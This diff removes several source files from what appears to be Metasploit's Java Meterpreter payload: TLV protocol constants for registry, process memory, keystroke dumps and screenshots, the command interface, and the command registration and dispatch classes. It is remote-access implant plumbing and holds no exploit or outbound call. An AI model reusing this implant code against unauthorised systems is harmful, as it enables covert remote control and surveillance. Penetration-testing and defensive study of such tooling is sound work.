public static final int TLV_TYPE_SHUTDOWN_HOW = TLVPacket.TLV_META_TYPE_UINT | 1530;
|
||||
|
||||
// Registry
|
||||
public static final int TLV_TYPE_HKEY = TLVPacket.TLV_META_TYPE_UINT | 1000;
|
||||
public static final int TLV_TYPE_ROOT_KEY = TLV_TYPE_HKEY;
|
||||
public static final int TLV_TYPE_BASE_KEY = TLVPacket.TLV_META_TYPE_STRING | 1001;
|
||||
public static final int TLV_TYPE_PERMISSION = TLVPacket.TLV_META_TYPE_UINT | 1002;
|
||||
public static final int TLV_TYPE_KEY_NAME = TLVPacket.TLV_META_TYPE_STRING | 1003;
|
||||
public static final int TLV_TYPE_VALUE_NAME = TLVPacket.TLV_META_TYPE_STRING | 1010;
|
||||
public static final int TLV_TYPE_VALUE_TYPE = TLVPacket.TLV_META_TYPE_UINT | 1011;
|
||||
public static final int TLV_TYPE_VALUE_DATA = TLVPacket.TLV_META_TYPE_RAW | 1012;
|
||||
|
||||
// Config
|
||||
public static final int TLV_TYPE_COMPUTER_NAME = TLVPacket.TLV_META_TYPE_STRING | 1040;
|
||||
public static final int TLV_TYPE_OS_NAME = TLVPacket.TLV_META_TYPE_STRING | 1041;
|
||||
public static final int TLV_TYPE_USER_NAME = TLVPacket.TLV_META_TYPE_STRING | 1042;
|
||||
|
||||
// Process
|
||||
public static final int TLV_TYPE_BASE_ADDRESS = TLVPacket.TLV_META_TYPE_UINT | 2000;
|
||||
public static final int TLV_TYPE_ALLOCATION_TYPE = TLVPacket.TLV_META_TYPE_UINT | 2001;
|
||||
public static final int TLV_TYPE_PROTECTION = TLVPacket.TLV_META_TYPE_UINT | 2002;
|
||||
public static final int TLV_TYPE_PROCESS_PERMS = TLVPacket.TLV_META_TYPE_UINT | 2003;
|
||||
public static final int TLV_TYPE_PROCESS_MEMORY = TLVPacket.TLV_META_TYPE_RAW | 2004;
|
||||
public static final int TLV_TYPE_ALLOC_BASE_ADDRESS = TLVPacket.TLV_META_TYPE_UINT | 2005;
|
||||
public static final int TLV_TYPE_MEMORY_STATE = TLVPacket.TLV_META_TYPE_UINT | 2006;
|
||||
public static final int TLV_TYPE_MEMORY_TYPE = TLVPacket.TLV_META_TYPE_UINT | 2007;
|
||||
public static final int TLV_TYPE_ALLOC_PROTECTION = TLVPacket.TLV_META_TYPE_UINT | 2008;
|
||||
public static final int TLV_TYPE_PID = TLVPacket.TLV_META_TYPE_UINT | 2300;
|
||||
public static final int TLV_TYPE_PROCESS_NAME = TLVPacket.TLV_META_TYPE_STRING | 2301;
|
||||
public static final int TLV_TYPE_PROCESS_PATH = TLVPacket.TLV_META_TYPE_STRING | 2302;
|
||||
public static final int TLV_TYPE_PROCESS_GROUP = TLVPacket.TLV_META_TYPE_GROUP | 2303;
|
||||
public static final int TLV_TYPE_PROCESS_FLAGS = TLVPacket.TLV_META_TYPE_UINT | 2304;
|
||||
public static final int TLV_TYPE_PROCESS_ARGUMENTS = TLVPacket.TLV_META_TYPE_STRING | 2305;
|
||||
|
||||
public static final int TLV_TYPE_IMAGE_FILE = TLVPacket.TLV_META_TYPE_STRING | 2400;
|
||||
public static final int TLV_TYPE_IMAGE_FILE_PATH = TLVPacket.TLV_META_TYPE_STRING | 2401;
|
||||
public static final int TLV_TYPE_PROCEDURE_NAME = TLVPacket.TLV_META_TYPE_STRING | 2402;
|
||||
public static final int TLV_TYPE_PROCEDURE_ADDRESS = TLVPacket.TLV_META_TYPE_UINT | 2403;
|
||||
public static final int TLV_TYPE_IMAGE_BASE = TLVPacket.TLV_META_TYPE_UINT | 2404;
|
||||
public static final int TLV_TYPE_IMAGE_GROUP = TLVPacket.TLV_META_TYPE_GROUP | 2405;
|
||||
public static final int TLV_TYPE_IMAGE_NAME = TLVPacket.TLV_META_TYPE_STRING | 2406;
|
||||
|
||||
public static final int TLV_TYPE_THREAD_ID = TLVPacket.TLV_META_TYPE_UINT | 2500;
|
||||
public static final int TLV_TYPE_THREAD_PERMS = TLVPacket.TLV_META_TYPE_UINT | 2502;
|
||||
public static final int TLV_TYPE_EXIT_CODE = TLVPacket.TLV_META_TYPE_UINT | 2510;
|
||||
public static final int TLV_TYPE_ENTRY_POINT = TLVPacket.TLV_META_TYPE_UINT | 2511;
|
||||
public static final int TLV_TYPE_ENTRY_PARAMETER = TLVPacket.TLV_META_TYPE_UINT | 2512;
|
||||
public static final int TLV_TYPE_CREATION_FLAGS = TLVPacket.TLV_META_TYPE_UINT | 2513;
|
||||
|
||||
public static final int TLV_TYPE_REGISTER_NAME = TLVPacket.TLV_META_TYPE_STRING | 2540;
|
||||
public static final int TLV_TYPE_REGISTER_SIZE = TLVPacket.TLV_META_TYPE_UINT | 2541;
|
||||
public static final int TLV_TYPE_REGISTER_VALUE_32 = TLVPacket.TLV_META_TYPE_UINT | 2542;
|
||||
public static final int TLV_TYPE_REGISTER = TLVPacket.TLV_META_TYPE_GROUP | 2550;
|
||||
|
||||
// Ui
|
||||
public static final int TLV_TYPE_IDLE_TIME = TLVPacket.TLV_META_TYPE_UINT | 3000;
|
||||
public static final int TLV_TYPE_KEYS_DUMP = TLVPacket.TLV_META_TYPE_STRING | 3001;
|
||||
public static final int TLV_TYPE_DESKTOP = TLVPacket.TLV_META_TYPE_STRING | 3002;
|
||||
|
||||
// Event Log
|
||||
public static final int TLV_TYPE_EVENT_SOURCENAME = TLVPacket.TLV_META_TYPE_STRING | 4000;
|
||||
public static final int TLV_TYPE_EVENT_HANDLE = TLVPacket.TLV_META_TYPE_UINT | 4001;
|
||||
public static final int TLV_TYPE_EVENT_NUMRECORDS = TLVPacket.TLV_META_TYPE_UINT | 4002;
|
||||
|
||||
public static final int TLV_TYPE_EVENT_READFLAGS = TLVPacket.TLV_META_TYPE_UINT | 4003;
|
||||
public static final int TLV_TYPE_EVENT_RECORDOFFSET = TLVPacket.TLV_META_TYPE_UINT | 4004;
|
||||
|
||||
public static final int TLV_TYPE_EVENT_RECORDNUMBER = TLVPacket.TLV_META_TYPE_UINT | 4006;
|
||||
public static final int TLV_TYPE_EVENT_TIMEGENERATED = TLVPacket.TLV_META_TYPE_UINT | 4007;
|
||||
public static final int TLV_TYPE_EVENT_TIMEWRITTEN = TLVPacket.TLV_META_TYPE_UINT | 4008;
|
||||
public static final int TLV_TYPE_EVENT_ID = TLVPacket.TLV_META_TYPE_UINT | 4009;
|
||||
public static final int TLV_TYPE_EVENT_TYPE = TLVPacket.TLV_META_TYPE_UINT | 4010;
|
||||
public static final int TLV_TYPE_EVENT_CATEGORY = TLVPacket.TLV_META_TYPE_UINT | 4011;
|
||||
public static final int TLV_TYPE_EVENT_STRING = TLVPacket.TLV_META_TYPE_STRING | 4012;
|
||||
public static final int TLV_TYPE_EVENT_DATA = TLVPacket.TLV_META_TYPE_RAW | 4013;
|
||||
|
||||
// Power
|
||||
public static final int TLV_TYPE_POWER_FLAGS = TLVPacket.TLV_META_TYPE_UINT | 4100;
|
||||
public static final int TLV_TYPE_POWER_REASON = TLVPacket.TLV_META_TYPE_UINT | 4101;
|
||||
|
||||
// Screenshot
|
||||
public static final int TLV_TYPE_DESKTOP_SCREENSHOT = TLVPacket.TLV_META_TYPE_RAW | 3002;
|
||||
public static final int TLV_TYPE_DESKTOP_SCREENSHOT_QUALITY = TLVPacket.TLV_META_TYPE_UINT | 3008;
|
||||
public static final int TLV_TYPE_DESKTOP_SCREENSHOT_PE32DLL_LENGTH = TLVPacket.TLV_META_TYPE_UINT | 3009;
|
||||
public static final int TLV_TYPE_DESKTOP_SCREENSHOT_PE32DLL_BUFFER = TLVPacket.TLV_META_TYPE_STRING | 3010;
|
||||
public static final int TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_LENGTH = TLVPacket.TLV_META_TYPE_UINT | 3011;
|
||||
public static final int TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_BUFFER = TLVPacket.TLV_META_TYPE_STRING | 3012;
|
||||
}
|
@ -1,38 +0,0 @@
|
||||
package com.metasploit.meterpreter.command;
|
||||
|
||||
import com.metasploit.meterpreter.CommandManager;
|
||||
import com.metasploit.meterpreter.Meterpreter;
|
||||
import com.metasploit.meterpreter.TLVPacket;
|
||||
|
||||
/**
|
||||
* A command that can be executed inside meterpreter. Each command has a name and can be registered using the {@link CommandManager#registerCommand(String, Class)} command.
|
||||
*
|
||||
* @author mihi
|
||||
*/
|
||||
public interface Command {
|
||||
|
||||
/**
|
||||
* Status code representing a successful run of the command.
|
||||
*/
|
||||
public static final int ERROR_SUCCESS = 0;
|
||||
|
||||
/**
|
||||
* Status code representing a failed run of the command.
|
||||
*/
|
||||
public static final int ERROR_FAILURE = 1;
|
||||
|
||||
/**
|
||||
* Execute this command.
|
||||
*
|
||||
* @param request
|
||||
* request packet
|
||||
* @param response
|
||||
* response packet
|
||||
* @param errorStream
|
||||
* Stream to write errors to
|
||||
* @return a status code (usually {@link #ERROR_SUCCESS} or {@link ERROR_FAILURE})
|
||||
* @throws any
|
||||
* exception, which will be mapped to an error stream output and an {@link ERROR_FAILURE} status code.
|
||||
*/
|
||||
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception;
|
||||
}
|
@ -1,178 +0,0 @@
|
||||
package com.metasploit.meterpreter.command;
|
||||
|
||||
import java.io.PrintStream;
|
||||
import java.util.HashMap;
|
||||
import java.util.Iterator;
|
||||
import java.util.Map;
|
||||
|
||||
import com.metasploit.meterpreter.Meterpreter;
|
||||
import com.metasploit.meterpreter.TLVPacket;
|
||||
import com.metasploit.meterpreter.TLVType;
|
||||
|
||||
/**
|
||||
* A command that represents a command that is not yet implemented. It will dump the complete request packet to the error stream and return {@link Command#ERROR_FAILURE}.
|
||||
*
|
||||
* @author mihi
|
||||
*/
|
||||
public class NotYetImplementedCommand implements Command {
|
||||
|
||||
public static final NotYetImplementedCommand INSTANCE = new NotYetImplementedCommand();
|
||||
|
||||
private Map/* <Integer,String> */typeNames = new HashMap();
|
||||
|
||||
private NotYetImplementedCommand() {
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_ANY), "TLV_TYPE_ANY");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_METHOD), "TLV_TYPE_METHOD");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_REQUEST_ID), "TLV_TYPE_REQUEST_ID");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_EXCEPTION), "TLV_TYPE_EXCEPTION");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_RESULT), "TLV_TYPE_RESULT");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_STRING), "TLV_TYPE_STRING");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_UINT), "TLV_TYPE_UINT");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_BOOL), "TLV_TYPE_BOOL");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_LENGTH), "TLV_TYPE_LENGTH");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_DATA), "TLV_TYPE_DATA");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_FLAGS), "TLV_TYPE_FLAGS");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_CHANNEL_ID), "TLV_TYPE_CHANNEL_ID");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_CHANNEL_TYPE), "TLV_TYPE_CHANNEL_TYPE");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_CHANNEL_DATA), "TLV_TYPE_CHANNEL_DATA");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_CHANNEL_DATA_GROUP), "TLV_TYPE_CHANNEL_DATA_GROUP");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_CHANNEL_CLASS), "TLV_TYPE_CHANNEL_CLASS");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_SEEK_WHENCE), "TLV_TYPE_SEEK_WHENCE");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_SEEK_OFFSET), "TLV_TYPE_SEEK_OFFSET");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_SEEK_POS), "TLV_TYPE_SEEK_POS");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_EXCEPTION_CODE), "TLV_TYPE_EXCEPTION_CODE");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_EXCEPTION_STRING), "TLV_TYPE_EXCEPTION_STRING");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_LIBRARY_PATH), "TLV_TYPE_LIBRARY_PATH");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_TARGET_PATH), "TLV_TYPE_TARGET_PATH");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_MIGRATE_PID), "TLV_TYPE_MIGRATE_PID");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_MIGRATE_LEN), "TLV_TYPE_MIGRATE_LEN");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_CIPHER_NAME), "TLV_TYPE_CIPHER_NAME");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_CIPHER_PARAMETERS), "TLV_TYPE_CIPHER_PARAMETERS");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_HANDLE), "TLV_TYPE_HANDLE");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_INHERIT), "TLV_TYPE_INHERIT");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_PROCESS_HANDLE), "TLV_TYPE_PROCESS_HANDLE");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_THREAD_HANDLE), "TLV_TYPE_THREAD_HANDLE");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_DIRECTORY_PATH), "TLV_TYPE_DIRECTORY_PATH");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_FILE_NAME), "TLV_TYPE_FILE_NAME");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_FILE_PATH), "TLV_TYPE_FILE_PATH");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_FILE_MODE), "TLV_TYPE_FILE_MODE");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_STAT_BUF), "TLV_TYPE_STAT_BUF");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_HOST_NAME), "TLV_TYPE_HOST_NAME");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_PORT), "TLV_TYPE_PORT");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_MTU), "TLV_TYPE_MTU");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_INTERFACE_INDEX), "TLV_TYPE_INTERFACE_INDEX");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_SUBNET), "TLV_TYPE_SUBNET");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_NETMASK), "TLV_TYPE_NETMASK");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_GATEWAY), "TLV_TYPE_GATEWAY");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_NETWORK_ROUTE), "TLV_TYPE_NETWORK_ROUTE");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_IP_PREFIX), "TLV_TYPE_IP_PREFIX");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_IP), "TLV_TYPE_IP");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_MAC_ADDRESS), "TLV_TYPE_MAC_ADDRESS");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_MAC_NAME), "TLV_TYPE_MAC_NAME");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_NETWORK_INTERFACE), "TLV_TYPE_NETWORK_INTERFACE");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_IP6_SCOPE), "TLV_TYPE_IP6_SCOPE");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_SUBNET_STRING), "TLV_TYPE_SUBNET_STRING");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_NETMASK_STRING), "TLV_TYPE_NETMASK_STRING");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_GATEWAY_STRING), "TLV_TYPE_GATEWAY_STRING");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_PEER_HOST), "TLV_TYPE_PEER_HOST");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_PEER_PORT), "TLV_TYPE_PEER_PORT");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_LOCAL_HOST), "TLV_TYPE_LOCAL_HOST");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_LOCAL_PORT), "TLV_TYPE_LOCAL_PORT");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_CONNECT_RETRIES), "TLV_TYPE_CONNECT_RETRIES");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_SHUTDOWN_HOW), "TLV_TYPE_SHUTDOWN_HOW");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_HKEY), "TLV_TYPE_HKEY");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_ROOT_KEY), "TLV_TYPE_ROOT_KEY");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_BASE_KEY), "TLV_TYPE_BASE_KEY");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_PERMISSION), "TLV_TYPE_PERMISSION");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_KEY_NAME), "TLV_TYPE_KEY_NAME");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_VALUE_NAME), "TLV_TYPE_VALUE_NAME");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_VALUE_TYPE), "TLV_TYPE_VALUE_TYPE");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_VALUE_DATA), "TLV_TYPE_VALUE_DATA");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_COMPUTER_NAME), "TLV_TYPE_COMPUTER_NAME");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_OS_NAME), "TLV_TYPE_OS_NAME");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_USER_NAME), "TLV_TYPE_USER_NAME");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_BASE_ADDRESS), "TLV_TYPE_BASE_ADDRESS");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_ALLOCATION_TYPE), "TLV_TYPE_ALLOCATION_TYPE");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_PROTECTION), "TLV_TYPE_PROTECTION");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_PROCESS_PERMS), "TLV_TYPE_PROCESS_PERMS");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_PROCESS_MEMORY), "TLV_TYPE_PROCESS_MEMORY");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_ALLOC_BASE_ADDRESS), "TLV_TYPE_ALLOC_BASE_ADDRESS");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_MEMORY_STATE), "TLV_TYPE_MEMORY_STATE");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_MEMORY_TYPE), "TLV_TYPE_MEMORY_TYPE");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_ALLOC_PROTECTION), "TLV_TYPE_ALLOC_PROTECTION");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_PID), "TLV_TYPE_PID");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_PROCESS_NAME), "TLV_TYPE_PROCESS_NAME");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_PROCESS_PATH), "TLV_TYPE_PROCESS_PATH");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_PROCESS_GROUP), "TLV_TYPE_PROCESS_GROUP");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_PROCESS_FLAGS), "TLV_TYPE_PROCESS_FLAGS");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_PROCESS_ARGUMENTS), "TLV_TYPE_PROCESS_ARGUMENTS");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_IMAGE_FILE), "TLV_TYPE_IMAGE_FILE");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_IMAGE_FILE_PATH), "TLV_TYPE_IMAGE_FILE_PATH");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_PROCEDURE_NAME), "TLV_TYPE_PROCEDURE_NAME");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_PROCEDURE_ADDRESS), "TLV_TYPE_PROCEDURE_ADDRESS");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_IMAGE_BASE), "TLV_TYPE_IMAGE_BASE");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_IMAGE_GROUP), "TLV_TYPE_IMAGE_GROUP");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_IMAGE_NAME), "TLV_TYPE_IMAGE_NAME");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_THREAD_ID), "TLV_TYPE_THREAD_ID");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_THREAD_PERMS), "TLV_TYPE_THREAD_PERMS");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_EXIT_CODE), "TLV_TYPE_EXIT_CODE");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_ENTRY_POINT), "TLV_TYPE_ENTRY_POINT");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_ENTRY_PARAMETER), "TLV_TYPE_ENTRY_PARAMETER");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_CREATION_FLAGS), "TLV_TYPE_CREATION_FLAGS");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_REGISTER_NAME), "TLV_TYPE_REGISTER_NAME");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_REGISTER_SIZE), "TLV_TYPE_REGISTER_SIZE");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_REGISTER_VALUE_32), "TLV_TYPE_REGISTER_VALUE_32");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_REGISTER), "TLV_TYPE_REGISTER");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_IDLE_TIME), "TLV_TYPE_IDLE_TIME");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_KEYS_DUMP), "TLV_TYPE_KEYS_DUMP");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_DESKTOP), "TLV_TYPE_DESKTOP");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_EVENT_SOURCENAME), "TLV_TYPE_EVENT_SOURCENAME");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_EVENT_HANDLE), "TLV_TYPE_EVENT_HANDLE");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_EVENT_NUMRECORDS), "TLV_TYPE_EVENT_NUMRECORDS");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_EVENT_READFLAGS), "TLV_TYPE_EVENT_READFLAGS");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_EVENT_RECORDOFFSET), "TLV_TYPE_EVENT_RECORDOFFSET");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_EVENT_RECORDNUMBER), "TLV_TYPE_EVENT_RECORDNUMBER");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_EVENT_TIMEGENERATED), "TLV_TYPE_EVENT_TIMEGENERATED");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_EVENT_TIMEWRITTEN), "TLV_TYPE_EVENT_TIMEWRITTEN");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_EVENT_ID), "TLV_TYPE_EVENT_ID");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_EVENT_TYPE), "TLV_TYPE_EVENT_TYPE");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_EVENT_CATEGORY), "TLV_TYPE_EVENT_CATEGORY");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_EVENT_STRING), "TLV_TYPE_EVENT_STRING");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_EVENT_DATA), "TLV_TYPE_EVENT_DATA");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_POWER_FLAGS), "TLV_TYPE_POWER_FLAGS");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_POWER_REASON), "TLV_TYPE_POWER_REASON");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_DESKTOP_SCREENSHOT), "TLV_TYPE_DESKTOP_SCREENSHOT");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_DESKTOP_SCREENSHOT_QUALITY), "TLV_TYPE_DESKTOP_SCREENSHOT_QUALITY");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_DESKTOP_SCREENSHOT_PE32DLL_LENGTH), "TLV_TYPE_DESKTOP_SCREENSHOT_PE32DLL_LENGTH");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_DESKTOP_SCREENSHOT_PE32DLL_BUFFER), "TLV_TYPE_DESKTOP_SCREENSHOT_PE32DLL_BUFFER");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_LENGTH), "TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_LENGTH");
|
||||
typeNames.put(new Integer(TLVType.TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_BUFFER), "TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_BUFFER");
|
||||
}
|
||||
|
||||
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
||||
meterpreter.getErrorStream().println("Unknown request detected:");
|
||||
dumpTLV(meterpreter.getErrorStream(), request);
|
||||
return ERROR_FAILURE;
|
||||
}
|
||||
|
||||
private void dumpTLV(PrintStream errorStream, TLVPacket request) {
|
||||
for (Iterator it = request.getTypeOrder().iterator(); it.hasNext();) {
|
||||
int type = ((Integer) it.next()).intValue();
|
||||
int restType = type;
|
||||
String typePrefix = "";
|
||||
if ((type & TLVPacket.TLV_META_TYPE_COMPRESSED) != 0) {
|
||||
typePrefix = "Compressed ";
|
||||
restType ^= TLVPacket.TLV_META_TYPE_COMPRESSED;
|
||||
}
|
||||
String typeName = (String) typeNames.get(new Integer(restType));
|
||||
|
||||
Object typeValue = request.getValue(type);
|
||||
if (typeName == null)
|
||||
typeName = "0x" + Integer.toHexString(type).toUpperCase();
|
||||
if (typeValue instanceof byte[]) {
|
||||
typeValue = "(raw data, " + ((byte[]) typeValue).length + " bytes)";
|
||||
}
|
||||
errorStream.println("\t" + typePrefix + typeName + " = " + typeValue);
|
||||
}
|
||||
}
|
||||
}
|
@ -1,34 +0,0 @@
|
||||
package com.metasploit.meterpreter.command;
|
||||
|
||||
import com.metasploit.meterpreter.ExtensionLoader;
|
||||
import com.metasploit.meterpreter.Meterpreter;
|
||||
import com.metasploit.meterpreter.TLVPacket;
|
||||
|
||||
/**
|
||||
* A command that represents a command that is implemented, but not for the current Java version.
|
||||
*
|
||||
* @author mihi
|
||||
*/
|
||||
public class UnsupportedJavaVersionCommand implements Command {
|
||||
|
||||
private final String command;
|
||||
private final int version;
|
||||
|
||||
/**
|
||||
* Create a new instance of that command.
|
||||
*
|
||||
* @param command
|
||||
* Name of the command
|
||||
* @param version
|
||||
* Version required
|
||||
*/
|
||||
public UnsupportedJavaVersionCommand(String command, int version) {
|
||||
this.command = command;
|
||||
this.version = version;
|
||||
}
|
||||
|
||||
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
||||
meterpreter.getErrorStream().println("Command " + command + " requires at least Java 1." + (version - ExtensionLoader.V1_2 + 2));
|
||||
return ERROR_FAILURE;
|
||||
}
|
||||
}
|
@ -1,22 +0,0 @@
|
||||
package com.metasploit.meterpreter.core;
|
||||
|
||||
import com.metasploit.meterpreter.CommandManager;
|
||||
import com.metasploit.meterpreter.ExtensionLoader;
|
||||
|
||||
/**
|
||||
* Loader class to register all the core commands.
|
||||
*
|
||||
* @author mihi
|
||||
*/
|
||||
public class Loader implements ExtensionLoader {
|
||||
|
||||
public void load(CommandManager mgr) throws Exception {
|
||||
mgr.registerCommand("core_channel_close", core_channel_close.class);
|
||||
mgr.registerCommand("core_channel_eof", core_channel_eof.class);
|
||||
mgr.registerCommand("core_channel_interact", core_channel_interact.class);
|
||||
mgr.registerCommand("core_channel_open", core_channel_open.class);
|
||||
mgr.registerCommand("core_channel_read", core_channel_read.class);
|
||||
mgr.registerCommand("core_channel_write", core_channel_write.class);
|
||||
mgr.registerCommand("core_loadlib", core_loadlib.class);
|
||||
}
|
||||
}
|
@ -1,16 +0,0 @@
|
||||
package com.metasploit.meterpreter.core;
|
||||
|
||||
import com.metasploit.meterpreter.Channel;
|
||||
import com.metasploit.meterpreter.Meterpreter;
|
||||
import com.metasploit.meterpreter.TLVPacket;
|
||||
import com.metasploit.meterpreter.TLVType;
|
||||
import com.metasploit.meterpreter.command.Command;
|
||||
|
||||
public class core_channel_close implements Command {
|
||||
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
||||
Channel c = meterpreter.getChannel(request.getIntValue(TLVType.TLV_TYPE_CHANNEL_ID), false);
|
||||
if (c != null)
|
||||
c.close();
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
}
|
@ -1,21 +0,0 @@
|
||||
package com.metasploit.meterpreter.core;
|
||||
|
||||
import com.metasploit.meterpreter.Channel;
|
||||
